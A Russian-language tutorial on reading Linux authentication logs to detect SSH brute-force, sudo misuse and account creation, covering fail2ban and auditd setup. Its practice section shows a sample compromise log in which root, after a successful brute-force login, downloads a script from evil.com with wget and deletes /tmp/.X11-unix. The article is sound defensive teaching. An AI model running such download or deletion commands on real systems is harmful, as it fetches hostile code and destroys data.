Введение: Почему логи авторизации — первый рубеж обороны

Каждое действие в Linux-системе начинается с авторизации. Будь то интерактивный вход через консоль, подключение по SSH, выполнение команды через sudo или вход в графическую оболочку — ядро и службы фиксируют эти события в журналах.

Для системного администратора умение читать логи авторизации — это не просто навык, а основа цифровой гигиены. Рано или поздно каждый сервер сталкивается с автоматизированными сканерами и ботами, перебирающими пароли. В этой статье мы разберем, где искать следы злоумышленников, как отличить легитимный вход от аномалии и настроить базовый мониторинг.

Глава 1: Анатомия логирования. Куда смотреть?

В современных дистрибутивах существует два основных подхода к хранению логов:

Традиционный syslog (медленный, но надежный): Файлы в каталоге /var/log/. За авторизацию здесь отвечает демон auth или authpriv.
Systemd Journal (быстрый, структурированный): Бинарные логи, управляемые командой journalctl.

Где искать заветные строки?

Основной файл: /var/log/auth.log (Debian, Ubuntu, Mint).
Основной файл: /var/log/secure (RHEL, CentOS, Fedora, AlmaLinux).
Универсальный метод (systemd): journalctl -u ssh.service или journalctl _TRANSPORT=stdout (фильтрация по транспорту может отличаться, проще использовать grep по auth).

Совет профессионала: Настроив Rsyslog, я всегда дублирую критичные логи авторизации на удаленный сервер (log collector). Если злоумышленник заходит и чистит логи, у вас должна быть копия.

Глава 2: Читаем логи как детектив. Разбор ключевых событий

Любая запись в логах состоит из метки времени, имени хоста, процесса и самого сообщения. Нас интересуют процессы sshd, login, sudo, su, gdm-password и само ядро (kernel).

2.1. Мониторинг SSH (Самый частый сценарий)

SSH — главные ворота для удаленного администрирования, и именно сюда направлен основной поток атак.

Успешный вход: ```bash

Просмотр успешных входов за последние сутки

grep "Accepted" /var/log/auth.log | grep "sshd" `` Пример записи:Mar 26 14:35:21 web-server sshd[12345]: Accepted password for root from 192.168.1.100 port 54322 ssh2` Здесь: Мы видим, что пользователь root зашел с IP 192.168.1.100 по паролю.

Неудачная попытка (Брутфорс): bash grep "Failed password" /var/log/auth.log Пример записи: Mar 26 14:36:45 web-server sshd[12346]: Failed password for invalid user admin from 45.155.205.144 port 33908 ssh2 Красный флаг: Попытка зайти под несуществующего пользователя admin с иностранного IP. Это почти всегда сканер.

Анализ Invalid Users: Если вы видите массу попыток для пользователей test, ubuntu, user, mysql — это бот, перебирающий популярные учетки. Наличие записей об invalid user — 100% признак разведки.

2.2. Кто играет в судочки? (sudo и su)

Повышение привилегий — критическое событие. Даже если злоумышленник зашел под обычным пользователем, рано или поздно он попытается выполнить sudo su -.

Успешное использование sudo: bash grep "sudo:" /var/log/auth.log Mar 26 14:40:01 web-server sudo: john : TTY=pts/0 ; PWD=/home/john ; USER=root ; COMMAND=/bin/bash Анализ: Пользователь john успешно выполнил команду /bin/bash от имени root. Если john не должен быть в sudoers — это инцидент.

Неудачное sudo (пользователь ошибся паролем или не имеет прав): Mar 26 14:41:23 web-server sudo: john : 3 incorrect password attempts ; TTY=pts/0 ; PWD=/home/john ; USER=root ; COMMAND=/bin/bash

Переключение на пользователя (su): Mar 26 14:45:01 web-server su: (to root) john on /dev/pts/0 su: pam_unix(su:auth): authentication failure; logname=john uid=1000 euid=0 tty=/dev/pts/0 ruser=john rhost= user=root — если тут куча failure, возможно, пользователь пытается угадать пароль root-а.

2.3. Сессии и завершения сеансов

Важно не только кто зашел, но и когда вышел и что делал. Это помогает строить хронологию.

Начало сессии: session opened for user root by (uid=0) Конец сессии: session closed for user root

Если сессия открыта и не закрыта, процесс все еще висит. Проверяйте who и ps aux.

Глава 3: Охотник за аномалиями. Выявляем подозрительные паттерны

Просто читать логи — скучно. Давайте научимся их анализировать.

3.1. Топ-10 злоумышленников (Анализ по IP)

Эта команда покажет, какие IP-адреса чаще всего стучались в ваш сервер с неверными паролями:

bash grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr | head -20 Расшифровка: Мы берем лог неудачных паролей, вырезаем IP-адрес (обычно он предпоследний), сортируем и считаем уникальные вхождения. Если вы видите IP с 1000+ попыток — можете смело банить его на файерволе.

3.2. География атак

Скажем, вас интересует, откуда приходят запросы. Установите утилиту geoiplookup. Скриптовый однострочник позволит понять, лезет к вам сосед по дата-центру или хакер из другой страны. Нестандартная геолокация для вашего бизнеса — повод насторожиться.

3.3. Необычное время входа

Человек работает в офисе с 9 до 18. Если вы видите успешный вход пользователя ivanov в 3 часа ночи, а Иван — не дежурный администратор, это повод проверить, не украден ли у него ключ.

3.4. Скачки по UID (пользователям)

Иногда злоумышленники создают своего пользователя. Проверяйте логи на предмет создания новых учетных записей: bash grep "useradd" /var/log/auth.log grep "new user" /var/log/auth.log

Глава 4: Автоматизируем надзор. Инструменты и Best Practices

Человеку лень смотреть в логи каждый час. Для этого существуют демоны.

4.1. fail2ban — классика жанра

Fail2ban анализирует логи авторизации в реальном времени. Как только он видит N неудачных попыток с одного IP, он добавляет правило в iptables/nftables, блокируя нарушителя.

Пример конфигурации для SSH (/etc/fail2ban/jail.local): ini [sshd] enabled = true port = ssh filter = sshd logpath = /var/log/auth.log maxretry = 3 ; Баним после 3 неудач bantime = 3600 ; На 1 час findtime = 600 ; За последние 10 минут

4.2. Auditd (Глубокий уровень)

Если вы подозреваете, что система уже скомпрометирована, syslog может не помочь. Здесь в игру вступает auditd.

Он может отслеживать не только факт входа, но и то, какие файлы читал пользователь после входа. Правило для слежки за чтением файла /etc/shadow: bash auditctl -w /etc/shadow -p wa -k shadow_watch После этого логи попадают в /var/log/audit/audit.log. Их анализ сложнее, но они содержат больше деталей (например, дату команды с точностью до микросекунды и полный контекст).

4.3. Простой Slack/Telegram алертинг

Можно настроить простой скрипт, который парсит tail -f /var/log/auth.log, и при появлении слова "Accepted" или "FAILED" для важных пользователей шлет уведомление в мессенджер. Это позволяет узнавать о подозрительных активностях быстрее, чем клиент начнет жаловаться на тормоза.

Глава 5: Практическое задание. Разбор реального лога

Представим, что вы открыли /var/log/auth.log и видите следующую картину:

Mar 27 03:12:01 myhost sshd[2341]: Failed password for invalid user oracle from 10.10.10.55 port 45123 ssh2 Mar 27 03:12:15 myhost sshd[2341]: Failed password for invalid user oracle from 10.10.10.55 port 45123 ssh2 Mar 27 03:12:30 myhost sshd[2341]: Failed password for invalid user root from 10.10.10.55 port 45123 ssh2 Mar 27 03:12:45 myhost sshd[2341]: Failed password for root from 10.10.10.55 port 45123 ssh2 Mar 27 03:13:01 myhost sshd[2341]: Accepted password for root from 10.10.10.55 port 45123 ssh2 Mar 27 03:13:02 myhost sudo: root : TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/bin/rm -rf /tmp/.X11-unix Mar 27 03:13:10 myhost sudo: root : TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/usr/bin/wget http://evil.com/script.sh

Что здесь произошло? 1. 03:12:01-03:12:30 — Брутфорс по пользователям oracle и root с IP 10.10.10.55 (вероятно, внутренний сервер, но возможно, что IP подменный или это сосед по сети). 2. 03:12:45 — Последняя неудачная попытка для root. 3. 03:13:01 — УСПЕШНЫЙ вход для root с этого же IP. fail2ban не сработал (попыток мало, или он отключен). 4. 03:13:02 — Сразу после входа root удаляет каталог в /tmp (возможно, маскировка следов или дроппер). 5. 03:13:10 — Загрузка скрипта с внешнего ресурса.

Вывод: Система скомпрометирована. Пароль root был подобран или уже был известен атакующему. Необходимо экстренно отключить сервер от сети и запускать процесс расследования инцидента (снятие дампа памяти, сохранение логов и т.д.).

Заключение: Ваш план действий

Чтобы спать спокойно, возьмите за правило:

Централизация: Настройте отправку всех логов auth на отдельный сервер (Graylog, ELK Stack или просто syslog-ng).
Блокировка: Включите и настройте fail2ban для SSH. Это отсечет 99% автоматизированных атак.
Анализ раз в сутки: Быстро просматривайте топ-10 неудачных входов и успешные входы в нерабочее время.
Отказ от паролей: По возможности используйте ключи SSH (RSA/Ed25519). Логи успешного входа по ключу (Accepted publickey) гораздо чище, и их сложнее подделать.

Логи авторизации — это ваша система раннего оповещения. Относитесь к ним не как к балласту на диске, а как к бесценному источнику данных о безопасности вашей инфраструктуры.